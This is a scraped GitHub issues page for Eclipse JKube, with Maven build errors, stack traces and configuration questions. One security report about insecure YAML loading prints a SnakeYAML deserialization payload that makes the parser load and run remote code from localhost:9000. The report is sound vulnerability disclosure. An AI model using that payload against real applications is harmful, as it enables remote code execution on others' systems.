Giter Club home page Giter Club logo

jkube's People

Contributors

adriannowak avatar anandrkskd avatar anurag-rajawat avatar arsenalzp avatar barukreddy avatar chambora1312 avatar clarenced avatar dengliming avatar dependabot[bot] avatar devamparikh avatar devashishbasu avatar dloiacono avatar jfdenise avatar juazugas avatar jurrie avatar l3002 avatar manusa avatar nishantraut avatar ohbus avatar pavel1tel avatar prathamkrishna avatar rnetuka avatar rohankanojia avatar sankritimishra avatar shantkhatri avatar sullis avatar sunix avatar theexplorist avatar tuedissingwork avatar waynemorphic avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

jkube's Issues

OpenShift build requires connection to dockerd

An OpenShift build does not need a connection to a dockerd as the docker build takes place on the OpenShift cluster itself. However, jkube requires a valid dockerd configuration.

Reproduction steps:

  1. Create empty project and add jkube-maven-plugin with the following configuration:
<build>
  <plugins>
    <plugin>
      <groupId>org.eclipse.jkube</groupId>
      <artifactId>openshift-maven-plugin</artifactId>
      <version>1.0.0-alpha-1</version>
 
      <configuration>
        <mode>openshift</mode>
        <buildStrategy>docker</buildStrategy>
        <verbose>true</verbose>
      </configuration>
 
      <executions>
        <execution>
          <id>jkube</id>
            <goals>
              <goal>resource</goal>
              <goal>build</goal>
              <!--goal>deploy</goal-->
            </goals>
         </execution>
       </executions>
     </plugin>
   </plugins>
</build>
  1. Login to cluster using oc login and check whether token is written to ~/.kube/config
  2. mvn oc:build -X
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [C:\cygwin64\home\roland\.kube\config].
[INFO] oc: Running in OpenShift mode
[INFO] oc: Using OpenShift build with strategy Docker
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [C:\cygwin64\home\roland\.kube\config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [C:\cygwin64\home\roland\.kube\config].
[INFO] oc: Generators:
[INFO] oc:  - quarkus
[INFO] oc:  - spring-boot
[INFO] oc:  - wildfly-swarm
[INFO] oc:  - thorntail-v2
[INFO] oc:  - openliberty
[INFO] oc:  - karaf
[INFO] oc:  - vertx
[INFO] oc:  - java-exec
[INFO] oc:  - webapp
[INFO] oc: Running generator webapp
[INFO] oc: webapp: Using fabric8/tomcat-9:1.2.1 as base image for webapp
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 4.503 s
[INFO] Finished at: 2020-04-01T14:29:54+02:00
[INFO] Final Memory: 26M/319M
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.eclipse.jkube:openshift-maven-plugin:1.0.0-alpha-1:build (default-cli) on project 4711: Execution default-cli of goal org.eclipse.jkube:openshift-maven-plugin:1.0.0-alpha-1:build failed: No <dockerHost> given, no DOCKER_HOST environment variable, no read/writable '/var/run/docker.sock' or '//./pipe/docker_engine' and no external provider like Docker machine configured -> [Help 1]
org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.eclipse.jkube:openshift-maven-plugin:1.0.0-alpha-1:build (default-cli) on project 4711: Execution default-cli of goal org.eclipse.jkube:openshift-maven-plugin:1.0.0-alpha-1:build failed: No <dockerHost> given, no DOCKER_HOST environment variable, no read/writable '/var/run/docker.sock' or '//./pipe/docker_engine' and no external provider like Docker machine configured
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:213)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:154)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:146)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:51)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:309)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:194)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:107)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:955)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:290)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:194)
    at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:498)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:289)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:229)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:415)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:356)
Caused by: org.apache.maven.plugin.PluginExecutionException: Execution default-cli of goal org.eclipse.jkube:openshift-maven-plugin:1.0.0-alpha-1:build failed: No <dockerHost> given, no DOCKER_HOST environment variable, no read/writable '/var/run/docker.sock' or '//./pipe/docker_engine' and no external provider like Docker machine configured
    at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:145)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:208)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:154)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:146)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:51)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:309)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:194)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:107)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:955)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:290)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:194)
    at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:498)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:289)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:229)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:415)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:356)
Caused by: java.lang.IllegalArgumentException: No <dockerHost> given, no DOCKER_HOST environment variable, no read/writable '/var/run/docker.sock' or '//./pipe/docker_engine' and no external provider like Docker machine configured
    at org.eclipse.jkube.kit.build.service.docker.access.DockerConnectionDetector.detectConnectionParameter (DockerConnectionDetector.java:104)
    at org.eclipse.jkube.kit.build.service.docker.DockerAccessFactory.createDockerAccess (DockerAccessFactory.java:38)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:103)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:51)
    at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:134)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:208)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:154)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:146)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:51)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:309)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:194)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:107)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:955)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:290)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:194)
    at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:498)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:289)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:229)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:415)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:356)
[ERROR]
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/PluginExecutionException

oc-maven-plugin docker/kubernetes mode

Description

When running oc:build goal with flags -Djkube.build.strategy=docker or -Djkube.mode=kubernetes docker service hub is not ready:

[ERROR] oc: Failed to execute the build [Service hub created without a docker access to a docker daemon]

In order to fix AbstractDockerMojo#isDockerAccessRequired method must be overridden to consider these flags.

Bug 561261 - jkube-kit - insecure yaml load leading to RCE (CWE-502)

Description

Proxy issue for https://bugs.eclipse.org/bugs/show_bug.cgi?id=561261

From the Security Team Inbox:

--
https://github.com/eclipse/jkube/blob/master/jkube-kit/common/src/main/java/org/eclipse/jkube/kit/common/util/YamlUtil.java#L112 uses insecure way to construct Yaml Object leading to remote code execution. Here is a sample code which would invoke malicious code hosted in localhost:9000.

String code = "maps: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:9000/\"]]]]";
YamlUtil.getPropertiesFromYamlString(code);

Please refer SafeConstructor() and https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-restrict-classes-to-be-loaded on using the api securely.

Reference: https://cwe.mitre.org/data/definitions/502.html
--

There's help for managing vulnerabilities in the handbook.

https://www.eclipse.org/projects/handbook/#vulnerability

Kubernetes configuration not generated before tests

Description:
I tried migrating from FMP 4.4.0 to JKube 0.2.0 and encountered an issue with tests run by Arquillian Cube. You can see from the gist for the output from the successful fmp run on line 140 that the Kubernetes configuration was successfully applied, while the gist for the output from the error in the JKube run on line 138 that the Kubernetes configuration could not be found that resulted in routes being unavailable as seen on line 163.

Reproducer:
You can use the repository at https://github.com/rdruss/vertx-http-example both to see the successful fmp run (use the master branch) as well as the errored JKube run (use the jkube branch). I used minishift as my OpenShift cluster and ran the tests with:

mvn clean verify -Popenshift,openshift-it

[EPIC] Provide Gradle Equivalents of Existing Maven Plugins

Windows: jar artifact generated in wrong directory

Relates to #113

mvn k8s:build generate a artifcat in the root folder : targetquarkus-k8s-hello-1.0.0-SNAPSHOT.jar there is a "/" missing. should be : target/quarkus-k8s-hello-1.0.0-SNAPSHOT.jar

k8s:build generates the jar file in the wrong folder : missing / to get target/quarkus-k8s-hello-1.0.0-SNAPSHOT.jar

Temporary way of work

Description

Project migration to the Eclipse Foundation is in progress.

In order to be able to continue working on issues and new features, the project has been forked to a different organization https://github.com/jshiftio/jkube.

All PRs fixing issues in this repo should be targeting https://github.com/jshiftio/jkube master branch. Once this project is completely migrated to Eclipse, jshiftio/jkube can then be merged back.

Tasks to be performed once jshiftio/jkube is merged back

  • Deactivate CircleCI Sonarcloud integration (jshiftio/jkube is now publishing results to jkubeio Sonar organization)

Other info

k8s:watch - cannot be established due to java.lang.ClassNotFoundException: okhttp3.internal.ws.WebSocketProtocol

Operating System
$ uname -a
Linux zoltan-VirtualBox 5.3.0-46-generic #38~18.04.1-Ubuntu SMP Tue Mar 31 04:17:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Eclipse JKube version
org.eclipse.jkube
kubernetes-maven-plugin
1.0.0-alpha-1

Java version
$ java -version
java version "13.0.2" 2020-01-14
Java(TM) SE Runtime Environment (build 13.0.2+8)
Java HotSpot(TM) 64-Bit Server VM (build 13.0.2+8, mixed mode, sharing)

Maven version
mvn -version
Apache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f)
Maven home: /home/zoltan/.sdkman/candidates/maven/current
Java version: 13.0.2, vendor: Oracle Corporation, runtime: /home/zoltan/dev/java/jdk-13.0.2
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "5.3.0-46-generic", arch: "amd64", family: "unix"

Target cluster version (Kubernetes, OpenShift, Minikube, CRC, etc.)
$ minikube version
minikube version: v1.9.1
commit: d8747aec7ebf8332ddae276d5f8fb42d3152b5a1

$ kubectl version
Client Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.0", GitCommit:"9e991415386e4cf155a24b1da15becaa390438d8", GitTreeState:"clean", BuildDate:"2020-03-25T20:08:47Z", GoVersion:"go1.13.9", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.0", GitCommit:"9e991415386e4cf155a24b1da15becaa390438d8", GitTreeState:"clean", BuildDate:"2020-03-25T14:50:46Z", GoVersion:"go1.13.8", Compiler:"gc", Platform:"linux/amd64"}

Symptom:

k8s:watch

fails due to

[INFO] <<< kubernetes-maven-plugin:1.0.0-alpha-1:watch (default-cli) < :deploy @ shopping-cart <<<
[INFO]
[INFO]
[INFO] --- kubernetes-maven-plugin:1.0.0-alpha-1:watch (default-cli) @ shopping-cart ---
[INFO] k8s: Running generator spring-boot
[INFO] k8s: spring-boot: Using Docker image fabric8/java-centos-openjdk11-jdk as base / builder
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.bouncycastle.jcajce.provider.drbg.DRBG (file:/home/zoltan/.m2/repository/org/bouncycastle/bcprov-jdk15on/1.61/bcprov-jdk15on-1.61.jar) to constructor sun.security.provider.Sun()
WARNING: Please consider reporting this to the maintainers of org.bouncycastle.jcajce.provider.drbg.DRBG
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
[INFO] k8s: Running watcher spring-boot
[INFO] k8s: spring-boot: Watching pods with selector LabelSelector(matchExpressions=[], matchLabels={app=shopping-cart, provider=jkube, group=hu.egroup}, additionalProperties={}) waiting for a running pod...
[INFO] k8s:[NEW] shopping-cart-685dbc5cc5-q8qr9 status: Running Ready
[INFO] k8s:[NEW] Tailing log of pod: shopping-cart-685dbc5cc5-q8qr9
[INFO] k8s:[NEW] Press Ctrl-C to stop tailing the log
[INFO] k8s:[NEW]
[INFO] k8s: spring-boot: exec java -javaagent:/opt/agent-bond/agent-bond.jar=jolokia{{host=0.0.0.0}},jmx_exporter{{9779:/opt/agent-bond/jmx_exporter_config.yml}} -XX:+ExitOnOutOfMemoryError -cp . -jar /deployments/shopping-cart-0.0.1-SNAPSHOT.jar
[INFO] k8s: spring-boot: I> No access restrictor found, access to any MBean is allowed
[INFO] k8s: spring-boot: Jolokia: Agent started with URL http://172.18.0.12:8778/jolokia/
[INFO] k8s: spring-boot:
[INFO] k8s: spring-boot: . ____ _ __ _ _
[INFO] k8s: spring-boot: /\ / ' __ _ () __ __ _ \ \ \
[INFO] k8s: spring-boot: ( ( )_
_ | '_ | '| | ' / ` | \ \ \
[INFO] k8s: spring-boot: \/ )| |)| | | | | || (| | ) ) ) )
[INFO] k8s: spring-boot: ' |
| .__|| ||| |_, | / / / /
[INFO] k8s: spring-boot: =========|
|==============|/=////
[INFO] k8s: spring-boot: :: Spring Boot :: (v2.2.6.RELEASE)
[INFO] k8s: spring-boot:
[INFO] k8s: spring-boot: 2020-04-15 12:41:45.805 INFO 1 --- [ main] h.e.shopping.ShoppingServiceApplication : Starting ShoppingServiceApplication v0.0.1-SNAPSHOT on shopping-cart-685dbc5cc5-q8qr9 with PID 1 (/deployments/shopping-cart-0.0.1-SNAPSHOT.jar started by jboss in /deployments)
[INFO] k8s:[NEW] shopping-cart-685dbc5cc5-q8qr9 status: Running Ready
[INFO] k8s: spring-boot: 2020-04-15 12:41:45.809 INFO 1 --- [ main] h.e.shopping.ShoppingServiceApplication : No active profile set, falling back to default profiles: default
[INFO] k8s: spring-boot: 2020-04-15 12:41:45.961 INFO 1 --- [ main] .e.DevToolsPropertyDefaultsPostProcessor : Devtools property defaults active! Set 'spring.devtools.add-properties' to 'false' to disable
[INFO] k8s: spring-boot: 2020-04-15 12:41:45.962 INFO 1 --- [ main] .e.DevToolsPropertyDefaultsPostProcessor : For additional web related logging consider setting the 'logging.level.web' property to 'DEBUG'
[INFO] k8s: spring-boot: 2020-04-15 12:41:48.413 INFO 1 --- [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat initialized with port(s): 8080 (http)
[INFO] k8s: spring-boot: 2020-04-15 12:41:48.428 INFO 1 --- [ main] o.apache.catalina.core.StandardService : Starting service [Tomcat]
[INFO] k8s: spring-boot: 2020-04-15 12:41:48.428 INFO 1 --- [ main] org.apache.catalina.core.StandardEngine : Starting Servlet engine: [Apache Tomcat/9.0.33]
[INFO] k8s: spring-boot: 2020-04-15 12:41:48.578 INFO 1 --- [ main] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring embedded WebApplicationContext
[INFO] k8s: spring-boot: 2020-04-15 12:41:48.579 INFO 1 --- [ main] o.s.web.context.ContextLoader : Root WebApplicationContext: initialization completed in 2617 ms
[INFO] k8s: spring-boot: 2020-04-15 12:41:48.888 WARN 1 --- [ main] .s.b.d.a.RemoteDevToolsAutoConfiguration : Listening for remote restart updates on /.~~spring-boot!~/restart
[INFO] k8s: spring-boot: 2020-04-15 12:41:49.724 INFO 1 --- [ main] o.s.s.concurrent.ThreadPoolTaskExecutor : Initializing ExecutorService 'applicationTaskExecutor'
[INFO] k8s: spring-boot: 2020-04-15 12:41:50.209 INFO 1 --- [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat started on port(s): 8080 (http) with context path ''
[INFO] k8s: spring-boot: 2020-04-15 12:41:50.216 INFO 1 --- [ main] h.e.shopping.ShoppingServiceApplication : Started ShoppingServiceApplication in 5.539 seconds (JVM running for 7.221)
[INFO] k8s: spring-boot: No exposed service found for connecting the dev tools
[INFO] k8s: Starting port-forward to pod shopping-cart-685dbc5cc5-q8qr9
[INFO] k8s: spring-boot: Running RemoteSpringApplication against endpoint: http://localhost:65338
[ERROR] k8s: An error has occurred while while trying to watch the resources [null]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 24.655 s
[INFO] Finished at: 2020-04-15T14:41:51+02:00
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.eclipse.jkube:kubernetes-maven-plugin:1.0.0-alpha-1:watch (default-cli) on project shopping-cart: An error has occurred while while trying to watch the resources: NullPointerException -> [Help 1]
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
Exception in thread "Thread-17" java.lang.NoClassDefFoundError: okhttp3/internal/ws/WebSocketProtocol
at okhttp3.internal.ws.RealWebSocket.close(RealWebSocket.java:415)
at okhttp3.internal.ws.RealWebSocket.close(RealWebSocket.java:411)
at io.fabric8.kubernetes.client.dsl.internal.WatchConnectionManager.closeWebSocket(WatchConnectionManager.java:374)
at io.fabric8.kubernetes.client.dsl.internal.WatchConnectionManager.close(WatchConnectionManager.java:348)
at org.eclipse.jkube.ki[INFO] k8s: Port forwarding to port 8080 on pod shopping-cart-685dbc5cc5-q8qr9 using command /snap/bin/kubectl
t.config.service.PortForwardService.lambda$forwardPortAsync$0(PortForwardService.java:166)
at org.eclipse.jkube.kit.config.service.PortForwardService$3.run(PortForwardService.java:177)
Caused by: java.lang.ClassNotFoundException: okhttp3.internal.ws.WebSocketProtocol
at org.codehaus.plexus.classworlds.strategy.SelfFirstStrategy.loadClass(SelfFirstStrategy.java:50)
at org.codehaus.plexus.classworlds.realm.ClassRealm.unsynchronizedLoadClass(ClassRealm.java:271)
at org.codehaus.plexus.classworlds.realm.ClassRealm.loadClass(ClassRealm.java:247)
at org.codehaus.plexus.classworlds.realm.ClassRealm.loadClass(ClassRealm.java:239)
... 6 more

How to change the S2I base image from the default "fabric8/s2i-java:2.3"

I get the following error when trying to use the "registry.access.redhat.com/redhat-openjdk-18/openjdk18-openshift:latest" builder image.

[ERROR] Failed to execute goal org.eclipse.jkube:oc-maven-plugin:0.1.1:build (default-cli) on project sample: Failed to execute the build: Unable to build the image using the OpenShift build service: NullPointerException -> [Help 1]

<generator>
    <includes>
	<include>spring-boot</include>
   </includes>
    <config>
	<spring-boot>
		<alias>spring-boot</alias>
		<from>registry.access.redhat.com/redhat-openjdk-18/openjdk18-openshift:latest</from>
	</spring-boot>
    </config>
</generator>

This works fine for kubernetes strategy.

Here is the maven Debug output

โžœ  sample git:(master) โœ— mvn oc:build -P openshift -X                                          
Apache Maven 3.6.1 (d66c9c0b3152b2e69ee9bac180bb8fcc8e6af555; 2019-04-04T14:00:29-05:00)
Maven home: /usr/local/Cellar/maven/3.6.1/libexec
Java version: 1.8.0_212, vendor: AdoptOpenJDK, runtime: /Library/Java/JavaVirtualMachines/adoptopenjdk-8.jdk/Contents/Home/jre
Default locale: en_US, platform encoding: UTF-8
OS name: "mac os x", version: "10.15.3", arch: "x86_64", family: "mac"
[DEBUG] Created new class realm maven.api
[DEBUG] Importing foreign packages into class realm maven.api
[DEBUG]   Imported: javax.annotation.* < plexus.core
[DEBUG]   Imported: javax.annotation.security.* < plexus.core
[DEBUG]   Imported: javax.enterprise.inject.* < plexus.core
[DEBUG]   Imported: javax.enterprise.util.* < plexus.core
[DEBUG]   Imported: javax.inject.* < plexus.core
[DEBUG]   Imported: org.apache.maven.* < plexus.core
[DEBUG]   Imported: org.apache.maven.artifact < plexus.core
[DEBUG]   Imported: org.apache.maven.classrealm < plexus.core
[DEBUG]   Imported: org.apache.maven.cli < plexus.core
[DEBUG]   Imported: org.apache.maven.configuration < plexus.core
[DEBUG]   Imported: org.apache.maven.exception < plexus.core
[DEBUG]   Imported: org.apache.maven.execution < plexus.core
[DEBUG]   Imported: org.apache.maven.execution.scope < plexus.core
[DEBUG]   Imported: org.apache.maven.lifecycle < plexus.core
[DEBUG]   Imported: org.apache.maven.model < plexus.core
[DEBUG]   Imported: org.apache.maven.monitor < plexus.core
[DEBUG]   Imported: org.apache.maven.plugin < plexus.core
[DEBUG]   Imported: org.apache.maven.profiles < plexus.core
[DEBUG]   Imported: org.apache.maven.project < plexus.core
[DEBUG]   Imported: org.apache.maven.reporting < plexus.core
[DEBUG]   Imported: org.apache.maven.repository < plexus.core
[DEBUG]   Imported: org.apache.maven.rtinfo < plexus.core
[DEBUG]   Imported: org.apache.maven.settings < plexus.core
[DEBUG]   Imported: org.apache.maven.toolchain < plexus.core
[DEBUG]   Imported: org.apache.maven.usability < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.* < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.authentication < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.authorization < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.events < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.observers < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.proxy < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.repository < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.resource < plexus.core
[DEBUG]   Imported: org.codehaus.classworlds < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.* < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.classworlds < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.component < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.configuration < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.container < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.context < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.lifecycle < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.logging < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.personality < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.util.xml.Xpp3Dom < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.util.xml.pull.XmlPullParser < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.util.xml.pull.XmlPullParserException < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.util.xml.pull.XmlSerializer < plexus.core
[DEBUG]   Imported: org.eclipse.aether.* < plexus.core
[DEBUG]   Imported: org.eclipse.aether.artifact < plexus.core
[DEBUG]   Imported: org.eclipse.aether.collection < plexus.core
[DEBUG]   Imported: org.eclipse.aether.deployment < plexus.core
[DEBUG]   Imported: org.eclipse.aether.graph < plexus.core
[DEBUG]   Imported: org.eclipse.aether.impl < plexus.core
[DEBUG]   Imported: org.eclipse.aether.installation < plexus.core
[DEBUG]   Imported: org.eclipse.aether.internal.impl < plexus.core
[DEBUG]   Imported: org.eclipse.aether.metadata < plexus.core
[DEBUG]   Imported: org.eclipse.aether.repository < plexus.core
[DEBUG]   Imported: org.eclipse.aether.resolution < plexus.core
[DEBUG]   Imported: org.eclipse.aether.spi < plexus.core
[DEBUG]   Imported: org.eclipse.aether.transfer < plexus.core
[DEBUG]   Imported: org.eclipse.aether.version < plexus.core
[DEBUG]   Imported: org.fusesource.jansi.* < plexus.core
[DEBUG]   Imported: org.slf4j.* < plexus.core
[DEBUG]   Imported: org.slf4j.event.* < plexus.core
[DEBUG]   Imported: org.slf4j.helpers.* < plexus.core
[DEBUG]   Imported: org.slf4j.spi.* < plexus.core
[DEBUG] Populating class realm maven.api
[INFO] Error stacktraces are turned on.
[DEBUG] Message scheme: color
[DEBUG] Message styles: debug info warning error success failure strong mojo project
[DEBUG] Reading global settings from /usr/local/Cellar/maven/3.6.1/libexec/conf/settings.xml
[DEBUG] Reading user settings from /Users/[email protected]/.m2/settings.xml
[DEBUG] Reading global toolchains from /usr/local/Cellar/maven/3.6.1/libexec/conf/toolchains.xml
[DEBUG] Reading user toolchains from /Users/[email protected]/.m2/toolchains.xml
[DEBUG] Using local repository at /Users/[email protected]/.m2/repository
[DEBUG] Using manager EnhancedLocalRepositoryManager with priority 10.0 for /Users/[email protected]/.m2/repository
[INFO] Scanning for projects...
[DEBUG] Extension realms for project com.ibm.gts.aro:sample:jar:0.0.1-SNAPSHOT: (none)
[DEBUG] Looking up lifecycle mappings for packaging jar from ClassRealm[plexus.core, parent: null]
[DEBUG] Extension realms for project org.springframework.boot:spring-boot-starter-parent:pom:2.2.4.RELEASE: (none)
[DEBUG] Looking up lifecycle mappings for packaging pom from ClassRealm[plexus.core, parent: null]
[DEBUG] Extension realms for project org.springframework.boot:spring-boot-dependencies:pom:2.2.4.RELEASE: (none)
[DEBUG] Looking up lifecycle mappings for packaging pom from ClassRealm[plexus.core, parent: null]
[DEBUG] Resolving plugin prefix oc from [org.apache.maven.plugins, org.codehaus.mojo]
[DEBUG] Resolved plugin prefix oc to org.eclipse.jkube:oc-maven-plugin from POM com.ibm.gts.aro:sample:jar:0.0.1-SNAPSHOT
[DEBUG] === REACTOR BUILD PLAN ================================================
[DEBUG] Project: com.ibm.gts.aro:sample:jar:0.0.1-SNAPSHOT
[DEBUG] Tasks:   [oc:build]
[DEBUG] Style:   Regular
[DEBUG] =======================================================================
[INFO] 
[INFO] -----------------------< com.ibm.gts.aro:sample >-----------------------
[INFO] Building sample 0.0.1-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[DEBUG] Resolving plugin prefix oc from [org.apache.maven.plugins, org.codehaus.mojo]
[DEBUG] Resolved plugin prefix oc to org.eclipse.jkube:oc-maven-plugin from POM com.ibm.gts.aro:sample:jar:0.0.1-SNAPSHOT
